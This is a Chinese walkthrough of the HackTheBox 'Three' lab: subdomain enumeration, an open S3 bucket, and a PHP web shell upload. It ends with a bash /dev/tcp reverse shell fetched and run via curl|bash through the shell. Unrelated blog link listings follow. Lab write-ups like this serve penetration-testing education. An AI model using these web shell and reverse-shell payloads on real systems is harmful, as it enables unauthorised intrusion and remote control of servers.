TIER 1: Three
TIER 1: Three
信息收集
通过以前的练习,我们首先确认目标 IP 开放了哪些端口,比如使用 nmap 之类的工具进行扫描。本次靶机开放:
- 22 端口:SSH, OpenSSH
- 80 端口:HTTP, Apache
在浏览器中访问目标 IP,可以看到一个简单的网页。当然我们可以借助 Wappalyzer 判断网站使用的技术栈。
- OS: Ubuntu
- Web Servers: Apache
- Programming Languages: PHP
- Font scripts: Font Awesome, Google Font API
- CDN: cdnjs, CloudFlare
这当然,信息收集不止于此。通过观察网站提供给我们的帮助信息,比如其中的电话、邮箱、备案信息等,我们可以进一步了解目标。像这个靶机,我们可以通过邮箱域名 thetoppers.htb 进行访问,先设置 hosts 文件,然后访问。
Sub-domain
子域名 sub-daomain 也是信息收集的一部分。它是指在域名的基础上,添加一个前缀,比如 www、mail、blog 等。
- 我们可以通过子域名来访问不同的服务,比如 www、mail、blog 等。我们可以通过子域名来访问不同的服务,比如 www.thetoppers.htb、mail.thetoppers.htb、blog.thetoppers.htb 等。
- 子域名可能指向不同的 IP,也可能指向同一个 IP。我们可以通过子域名来访问不同的服务。
我们尝试挖掘一下子域名,此处通过 gobuster 进行挖掘。
- 我们使用 subdomains-top1million-5000.txt 这个公共字典,没有可以在 https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt 下载。
- gobuster 使用 vhost 模式,通过
-w指定字典,-u指定 URL 地址。
gobuster vhost -w ./subdomains-top1million-5000.txt -u http://thetoppers.htb
我们挖掘到 s3.thetoppers.htb 这个域名,然后在 hosts 文件中绑定。然后进行访问,在浏览器中我们看到一个 JSON 数据,通过开发者工具我们可以看到这是一个 AWS S3 的 Bucket。
AWS S3
S3(Simple Storage Service)是亚马逊网络服务(Amazon Web Services,AWS)提供的一种对象存储服务。S3 bucket 是 S3 中用于存储数据的容器。它类似于一个文件夹或存储桶,可以存储各种类型的数据,如文本文件、图像、视频、数据库备份等。
每个 S3 bucket 都有一个 全局唯一 的名称,并由 AWS 的特定地区和桶名称组成,例如:s3://mybucket
我们需要使用 awscli 进行访问。AWS CLI(AWS Command Line Interface)是一个用于与亚马逊网络服务(Amazon Web Services,AWS)进行交互的命令行工具。它使您能够通过命令行界面管理和操作 AWS 资源,而无需依赖于 AWS 管理控制台的图形用户界面。AWS CLI 提供了一组命令行命令,可以通过终端窗口或脚本来执行各种操作,如创建和管理云资源、配置安全性、访问AWS服务和API、上传和下载文件等。
aws --endpoint=http://s3.thetoppers.htb s3 ls
- --endpoint 指定 S3 的 endpoint,此处为 http://s3.thetoppers.htb
- ls 列出 bucket 中的文件
# 进一步查看 bucket 中的对象
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers
- images/ 目录
- .htaccess 文件
- index.php 文件
这些内容是否眼熟,之前我们在靶机的网页的源码中看到过。awscli 可以上传文件,我们可以尝试上传 php 木马。
# 制作 php 木马
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# 上传 php 木马
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
尝试访问 http://thetoppers.htb/shell.php?cmd=id 进行测试。就结果而言,我们可以看到我们成功执行了命令。
反弹 shell
首先查看一下我们的 IP,编写 shell.sh 脚本,下面是内容。
#!/bin/bash
bash -i >& /dev/tcp/x.x.x.x/1337 0>&1
- x.x.x.x 为我们的 IP
- IP 记住是 tun0 的 IP
开启对应监听 nc -nvlp 1337
我们能够与靶机连接依托于 openvpn,在网络接口上应该使用 tun0 的 IP,当然如果你开了多个 vpn 连接,那么就需要注意一下。选择于靶机连接的网络接口,然后使用它的 IP 就对了。
使用 python3 -m http.server 8000 开启一个 http 服务。让靶机访问的 shell.sh 脚本。访问 http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash 反弹连接。
flag 位置:
/var/www/flag.txt
TIER 1: Three的更多相关文章
- E-Business Suite 12.2 startCD 50 Install Fails with Fatal Error: TXK Install Service oracle.apps.fnd.txk.config.ProcessStateException: OUI process failed Cannot install Web Tier Utilities
在rhel7.2上,使用startCD 50安装ebs r12.2的使用,安装到38%的时候就报错,遇到了和以下文章类似的问题: http://www.cnblogs.com/abclife/p/49 ...
- Tier和RBD Cache的区别
相同点 缓存 数据不会持久保存在ssd或者内存:预读回写直写 都需要解决缓存数据和磁盘数据不一致和“内存页”置换的问题. 差异点 缓存的位置不同,tier是rados层在osd端进行数据缓存,也就是说 ...
- 在magneto系统中输出tier price的最小值
2012年6月16日星期六 Asia/Shanghai上午11时39分22秒 有的时候,我们想输出产品的tier price 的最小值!如图: 下面是解决的办法: 1. 在catalog/produc ...
- Tier和Layer
在实际开发工作中.我们经常听到"架构设计"和"架构师"这种名词,它并不新奇和神奇,可是却非常少有人对"架构"有全面的了解和认识.更谈不上掌握 ...
- Sharing The Application Tier File System in Oracle E-Business Suite Release 12.2
The most current version of this document can be obtained in My Oracle Support Knowledge Document 13 ...
- WPF 渲染级别 (Tier)
在WPF中,显卡的功能相差很大.当WPF评估显卡时,它会考虑许多因素,包括显卡上的RAM数量.对像素着色器(piexl shader)的支持(计算每个像素效果的内置程序,如透明效果),以及对顶点着色器 ...
- H265 Profile & Level & Tier 介绍
H265/HEVC Profile Level Tier 档次.水平.等级 为了提供不同应用之间的兼容互通,HEVC/H265 定义了不同的编码 Profile 档次.Level 水平.Tier 等级 ...
- flume topology design . tier num 分层数目
32:+:1 x:1 x<=8 https://flume.apache.org/FlumeUserGuide.html#flume-topology-design Flume topology ...
- CephFS cache tier实践
这是一篇分享文,作者因为最近想深入研究下ceph的cache pool,作者写的文章非常的好,这里先直接翻译这篇文章,然后再加入我自己的相关数据 blog原文 作者想启动blog写下自己的Openst ...
- Dynamics AX 2012 R2 Service Middle Tier WCF WCF转发
参考了蒋金楠老师08年的文章.好吧,那时候我才大二.大三,大神果然是大神. http://www.cnblogs.com/artech/archive/2008/09/01/1280939.html ...
随机推荐
- 推荐2款开源、美观的WinForm UI控件库
前言 今天大姚给大家分享2款开源.美观的WinForm UI控件库,希望可以帮助到有需要的同学. WinForm介绍 WinForm是一个传统的桌面应用程序框架,它基于 Windows 操作系统的原生 ...
- FMEA学习之PFMEA
一.基础介绍 FMEA 是 Faliure Mode Effect Analysis 简称,翻译过来叫做失效模式分析,按我的理解,用白话说出来就是:对导致不符合生产质量不符合客户要求的问题会产生多么严 ...
- Redis高可用一(主从)
Redis高可用一(主从) 1.首先要有2或以上的Redis数据库,我这里三个redis(一主两从) 2.进入到主Redis 配置 redis.conf文件 # 主redis bind 0.0.0.0 ...
- Android OpenMAX(六)OMXStore
在前面两节的学习中我们知道了OMX Core是用来管理(查询/创建/销毁)Android平台上的硬件编解码组件的.这一节我们再向上一层,Android平台除了提供有硬件编解码组件支持,还内置了一些软件 ...
- 鸿蒙HarmonyOS实战-Web组件(Cookie及数据存储)
前言 Cookie是一种存储在用户计算机上的小文本文件,用于在用户访问网站时存储和提取信息.它由网站服务器发送到用户的浏览器,并存储在用户的计算机上.每当用户访问该网站时,浏览器将发送该Cookie回 ...
- 任意树遍历,可以使用 goto 跳记号标注的
先顺序进入到最后一个根的根部,完后扫描同级 同级扫描完用 goto跳代码改层数到倒数地二层 之后操作就是倒着往上搜索的,有难度,但是还是能做到的嘛 用 lisit 好像不需要别的,全用 list 连接 ...
- OAuth + Security - 2 - 资源服务器配置
PS:此文章为系列文章,建议从第一篇开始阅读. 资源服务器配置 @EnableResourceServer 注解到一个@Configuration配置类上,并且必须使用ResourceServerCo ...
- html 适配iphone X 底部导航
html 适配iphone X 底部导航 适配手机底部有横线的手机,以免被横线遮挡 padding-bottom: constant(safe-area-inset-bottom); /* 兼容 iO ...
- python selenium UI自动化操作iframe及返回默认页面
页面操作的场景:进到到页面A,选择页面A里面的记录,点击签约, 弹出一个弹窗B,弹窗B的内容是协议及同意按钮或其他非同意的提示信息,主要的操作,打开页面A,点击签约,点击同意,操作完成 分析页面的组成 ...
- Android程序获取鸿蒙手机设备信息(是否鸿蒙手机、版本号、小版本号等)
1.效果图 鸿蒙手机 --> 关于手机的截图: Android程序获取鸿蒙手机设备信息的截图: 2.实现 本案例DEMO的实现主要借鉴了网上现有的资料: https://blog.csdn.ne ...